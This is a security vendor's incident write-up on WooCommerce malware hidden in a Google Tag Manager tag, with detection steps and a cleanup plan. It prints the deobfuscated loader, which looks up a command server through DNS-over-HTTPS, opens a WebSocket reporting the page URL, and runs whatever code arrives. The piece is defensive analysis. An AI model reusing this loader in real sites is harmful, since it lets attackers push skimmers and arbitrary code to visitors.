Your WooCommerce File Scan Is Clean — So Why Is Your Payment Provider Still Flagging Your Site?

WooCommerce Site Flagged But File Scans Clean? How GTM Malware Hides From Every Scanner

A WooCommerce store owner emailed us. They had just heard from their payment provider. Mastercard had flagged the site for malware and heuristic compromise. The owner had already found and removed an injection in their theme’s functions.php — a reference to an external domain called ws-socket.com — so they assumed the worst was behind them. But the payment provider kept flagging the site, and the owner was losing the ability to take payments.

There was one more indicator in the scan report the owner sent over: a suspicious connection to cloudflare-dns.com. The owner thought it was a false positive. Cloudflare is a legitimate company. Their DNS-over-HTTPS service is a public resolver, not a malware domain. They asked us to confirm.

It was not a false positive. The functions.php injection was the distraction. The real malware was still running — hidden inside a Google Tag Manager container where no file scanner could see it.

Here is exactly what we found, how the attack worked, and how we removed it.

If your payment provider already flagged your site and your file scans keep coming back clean, stop guessing. Get Same-Day WordPress Malware Removal — we find what file scanners miss.

The PHP Cleanup Did Not Stop the Attack

The site was a standard WooCommerce stack: WordPress, WPBakery, Slider Revolution, Site Kit by Google, PayPal, Tawk.to chat — and Google Tag Manager. The owner had already done the obvious thing. They found the injected code in functions.php, confirmed it pointed to ws-socket.com, and deleted it. A file scan after that would have come back clean. But Mastercard kept flagging the site anyway, because the malware was never in the files. It was in the browser.

We opened the site with Chrome DevTools and checked the Network tab. The suspicious request to cloudflare-dns.com was still firing — not from any PHP file, not from the database, but from a script loaded by Google Tag Manager. The initiator chain traced straight back to gtm.js?id=GTM-PLBTGD25. Every frame in the call stack pointed to the GTM container.

In the Sources panel, the malicious code was sitting inside an anonymous function labeled VM149 — a script executed at runtime, not stored as a file. That is why no file scanner caught it.

What the Malicious GTM Tag Actually Did

The tag was a Custom HTML tag published to the GTM container. It contained obfuscated JavaScript. Here is the deobfuscated version:

(function anonymous() {
    !(function(g) {
        const a = (s, ls=!1) => {
            let c = s.match(/\d+/g);
            ls ? localStorage.setItem('__ga_wsid', c) : !1;
            let [d, ...e] = c;
            window.f = new WebSocket(
                String.fromCharCode(...e.map(e => e ^ d)) + '?src=' + encodeURIComponent(location.href)
            );
            window.f.addEventListener('message', event => {
                new Function(event.data)()
            })
        };

        const b = () => {
            let g = '40,52,52,48,51,122,111,111,35,44,47,53,36,38,44,33,50,37,109,36,46,51,110,35,47,45,111,36,46,51,109,49,53,37,50,57,127,36,46,51,125,...'.match(/\d+/g);
            let h = 64;
            fetch(String.fromCharCode(...g.map(g => g ^ h)))
                .then(i => i.text())
                .then(j => { a(j, !0) })
        };

        localStorage.getItem('__gf_form_data') ? !1 :
            localStorage.getItem('__ga_wsid') ? a(localStorage.getItem('__ga_wsid')) : b()
    })()
})

The encoded string array is truncated here for readability — the original contained approximately 200 values. The shortened version is enough to understand the attack pattern without overwhelming the page.

Here is what each part does.

First, it checks whether to even run

The script looks for __gf_form_data in localStorage. That key is written by Gravity Forms, the form plugin most WooCommerce stores use for checkout and payment forms. If the key exists — meaning the visitor is on or recently came from a checkout page — the malware does nothing. This is deliberate. The attacker does not want their code firing during checkout, where it might interfere with payment processing and get noticed immediately. They want it running during normal browsing, where it is invisible.

The script also checks for __ga_wsid, a key it writes itself after the first run. If that key exists, it skips the DNS lookup and goes straight to the WebSocket connection. Less network traffic, less chance of detection.

Then, it finds its command server through Cloudflare’s DNS

The array of numbers in variable g is XOR-obfuscated. Decoded with key 64, it produces a URL: https://cloudflare-dns.com/dns-query?dns=... — Cloudflare’s public DNS-over-HTTPS API. The DNS query embedded in that request asks for TXT records for jartrack.com, an attacker-controlled domain.

This is the part that tripped urlquery.net’s threat detection. The attacker is not hosting malware on cloudflare-dns.com. They are using Cloudflare’s DNS service as a middleman. The TXT record on jartrack.com contains an encoded IP address — the real location of the attacker’s WebSocket server. By routing the lookup through Cloudflare’s DoH endpoint, the traffic looks like legitimate DNS resolution to any tool that only checks the destination domain. The actual C2 address never appears in the code.

This is worth understanding because it explains why the cloudflare-dns.com alert was real. The domain is legitimate. The behavior was not. urlquery.net saw a WooCommerce front-end page making a DNS-over-HTTPS query for an obscure domain’s TXT records — and correctly flagged it as malicious, even though the destination domain itself is benign.

Then, it opens a WebSocket to receive live payloads

Once the TXT record comes back, the script extracts a numeric string, uses the first number as an XOR key, and decodes the rest into a domain or URL. It opens a WebSocket connection to that address, appending the current page URL as a ?src= parameter so the attacker knows which page the visitor is on.

The decoded WebSocket address gets cached in localStorage as __ga_wsid — named to look like a Google Analytics key, blending into normal browser storage.

Finally, it runs whatever the attacker sends

The WebSocket listener is one line: new Function(event.data)(). That is eval by another name. Whatever JavaScript arrives through the WebSocket executes immediately in the visitor’s browser. The attacker can send a credit card skimmer to checkout pages. A redirect to other pages. A fingerprinting script. Different payloads to different visitors, different pages, different times — all controlled from the attacker’s server, with nothing stored on the compromised WordPress site.

Why No File Scanner Would Catch This

There are three reasons this attack evaded every file-based scan.

First, there was no malicious PHP. Once the functions.php injection was removed, every PHP file on the server was clean. The GTM container is hosted on googletagmanager.com — Google’s domain. A file scanner checking the WordPress installation would find nothing.

Second, there was no static payload to signature-match. The malware that actually harms visitors — the skimmer, the redirect, whatever the attacker chose — arrives through a WebSocket after the page loads. It is never written to disk. There is no malicious string to hash, no known-bad pattern to grep for.

Third, the delivery chain is trusted at every hop: WordPress page → googletagmanager.comcloudflare-dns.com → attacker’s WebSocket. Google and Cloudflare are on every allowlist. A Content Security Policy that does not explicitly block WebSocket connections will not stop this. A firewall that allows Google and Cloudflare will not stop this.

This Was Not a One-Off

This campaign used Google Tag Manager, but the same credential-theft pattern drives many recurring infections. See our breakdown of how the Vuln.php recurring malware issue exploits similar persistence through stolen access.

We searched URLScan.io for the GTM container ID GTM-PLBTGD25. It returned 37 results across at least 6 different domains — WooCommerce stores, service businesses, content sites — in the UK, Singapore, Germany, Canada, and the Middle East. The oldest scans were about a year old. This campaign had been running for a long time without widespread detection.

Any WordPress site with Google Tag Manager and a compromised admin or Google account was a target. The attacker did not need to breach the server. They just needed publish access to a GTM container, which they could get through credential theft, phishing, or a reused password on the associated Google account. Once they had that, they could push malicious tags to every site using that container without ever logging into WordPress.

How to Check If This Is Happening to Your Site

If your payment provider, bank, or a security scan flags your site and your file scans come back clean, do not assume it is a false positive. Check the browser-side surface. Here is a quick-reference checklist — each step is explained in detail below.

Step What to check What to look for
1 DevTools Network tab Requests to cloudflare-dns.com/dns-query with a long dns= parameter
2 Request initiator chain Call stack leading to gtm.js?id=GTM-XXXXX
3 Sources panel VM scripts Anonymous functions with WebSocket constructors and encoded string arrays
4 GTM account — Custom HTML tags Obfuscated JavaScript, XOR-encoded strings, WebSocket connections, references to cloudflare-dns.com
5 GTM account — Users & Permissions Email addresses that should not have publish access. Check version history.
6 Passive scan (urlquery.net) Threat detection alerts for cloudflare-dns.com or unexpected DNS-over-HTTPS traffic

Here is each step in detail.

Open DevTools and check the Network tab. Filter by Fetch/XHR. Look for requests to cloudflare-dns.com/dns-query with a long dns= parameter. A WordPress front-end page has no reason to make DNS-over-HTTPS requests. If you see one, something is wrong.

Trace the initiator. Click the suspicious request and check the Initiator column. If the call stack leads to gtm.js?id=GTM-XXXXX, the request originated from your GTM container. That container ID is your lead.

Check the Sources panel for VM scripts. Code executed at runtime by eval or new Function() appears as VM entries. An anonymous function with a WebSocket constructor and encoded string arrays is what you are looking for.

Log into your GTM account. Go to tagmanager.google.com, open the container matching the ID you found, and review every Custom HTML tag. Look for obfuscated JavaScript, XOR-encoded strings, references to cloudflare-dns.com, or WebSocket connections. Check the version history. Check the Users and Permissions panel for email addresses that should not have publish access.

Run a passive scan. Use urlquery.net. If it flags a host like cloudflare-dns.com with a threat detection alert on a WooCommerce site, take it seriously. The domain might be legitimate, but the behavior it is being used for might not be.

If your site matches any of the signs above, send this article to the person who manages your Google Tag Manager account. The Network tab and Sources panel instructions alone will tell them in minutes whether the container is infected — and the remediation steps below cover what they need to do to remove it.

How We Removed It

Fixing this requires working across three separate surfaces. Cleaning WordPress files alone will not stop the attack, because the malware was never in the files.

  1. Clean the GTM container. Delete any Custom HTML tags with obfuscated JavaScript, XOR-encoded strings, or WebSocket connections. Remove any users from the container who should not have publish access. Publish the cleaned version immediately — until you do, the malicious tag is still live on every site using that container.
  2. Rotate every credential that touches GTM or WordPress. Change the password on every Google account with access to the GTM container. Enable two-factor authentication. Change all WordPress admin passwords. Revoke any API keys or application passwords. If the attacker still has valid credentials, they will republish the malicious tag.
  3. Check the WordPress database for leftover injections. Search wp_options for rows containing googletagmanager.com/gtm.js or other external script URLs that do not belong there — especially in option names tied to header and footer injection plugins. Search wp_posts for injected script tags. Remove anything you find and note the timestamps so you can reconstruct the attack timeline.
  4. Verify the theme and plugins against clean copies. If functions.php was injected, do not assume the rest of the theme is clean. Compare the entire active theme against the original. Run a checksum check against WordPress core. Delete any plugins or themes you are not actively using — they are attack surface.
  5. Audit admin users. Go through every user in WordPress Admin. Delete accounts you do not recognize. Check registration dates and last login timestamps for all administrator-level accounts. Enable two-factor authentication.
  6. Harden GTM for the future. Restrict publish permissions to the smallest possible set of users. Set up a Content Security Policy that explicitly limits connect-src — this blocks unapproved WebSocket connections even if a malicious tag gets published. Turn on GTM’s audit log notifications so you know the moment a new tag is published.
  7. Confirm the attack chain is broken. Reload the site with DevTools open. Confirm no DNS-over-HTTPS requests are firing from your GTM container. Confirm no VM scripts with WebSocket constructors appear in Sources. Run a fresh urlquery.net scan and confirm the threat detection alerts are gone.

If Your File Scans Are Clean But You Are Still Flagged

This case is not unusual. We see it regularly: a site owner gets a malware alert from their payment provider or bank, runs a file scanner, gets a clean result, and assumes the alert was wrong. Then the alert comes again. Then the payment processor suspends the account.

Client-side malware — code that runs in the browser, delivered through trusted third-party services like Google Tag Manager — is invisible to every file-based scanner. The scanner is checking the wrong place. If your scans are clean but your payment provider says otherwise, the malware is probably running somewhere your scanner cannot look.

Need someone to find and remove client-side malware that file scanners keep missing? Get Same-Day WordPress Malware Removal

Want to run a free diagnostic first? Use Malcure WebScan to check your site for injected scripts, suspicious external resources, and known malware.

Frequently Asked Questions

Why is my file scan clean but my payment provider still flagged my site?

File scanners check the server — PHP files, database content, and known malware signatures. The GTM malware described in this case never touches any of those. It lives inside a Google Tag Manager container hosted on googletagmanager.com, executes in the visitor’s browser, and communicates through Cloudflare’s DNS-over-HTTPS service and WebSocket connections — all trusted domains that no scanner would flag. The malicious payload arrives after the page loads, so there is nothing on disk to scan. A clean file scan means the server is clean, not that the threat is gone.

How do I check if my Google Tag Manager container has malware?

Open your GTM account at tagmanager.google.com, review every Custom HTML tag in the container, and look for obfuscated JavaScript, XOR-encoded string arrays, new WebSocket() constructors, or requests to cloudflare-dns.com/dns-query. Check the version history — a tag published by an unexpected user or at an unusual time is suspicious. Review the Users & Permissions panel for email addresses that should not have publish access. If you find anything unusual, do not just delete the tag — rotate every credential that touches GTM and WordPress first, or the attacker will republish it.

Can WordPress file scanners detect malware hidden in Google Tag Manager?

No. File scanners scan files — PHP, JavaScript files on disk, the database. A Google Tag Manager container is not stored in your WordPress installation. It is hosted on Google’s servers. The malicious tag runs from googletagmanager.com, so a scanner that only checks your WordPress files and database will never see it. Detecting GTM malware requires checking the browser-side surface: the Network tab for suspicious DNS-over-HTTPS requests, the Sources panel for anonymous WebSocket constructors, and the GTM account itself.

What should I do if urlquery.net flags cloudflare-dns.com on my site?

Take it seriously. Cloudflare’s DNS-over-HTTPS service is a legitimate public resolver — the domain itself is not malicious. But a WordPress front-end page has no legitimate reason to make DNS-over-HTTPS requests. If urlquery.net detects one, it means something on your site is doing something unusual. Follow the detection checklist in the guide above: trace the request initiator in DevTools, check your GTM container for obfuscated Custom HTML tags, and look for WebSocket connections in the Sources panel. If you find matching signs, the flag was correct — legitimate service, malicious behavior.

Written by
Principal Security Researcher, Malcure Web Security

Shiv has worked in security and infrastructure since 2002, with hands-on experience across enterprise network security, incident response, problem coordination, triage management, Windows and Linux systems provisioning, scripting automation, Nginx, ModSecurity, reverse proxies, web application firewalls, WordPress malware removal, malicious redirect cleanup, SEO spam remediation, WP-CLI workflows, vulnerability response, and website hardening. His research informs Malcure’s malware detection, cleanup, and hardening methodology.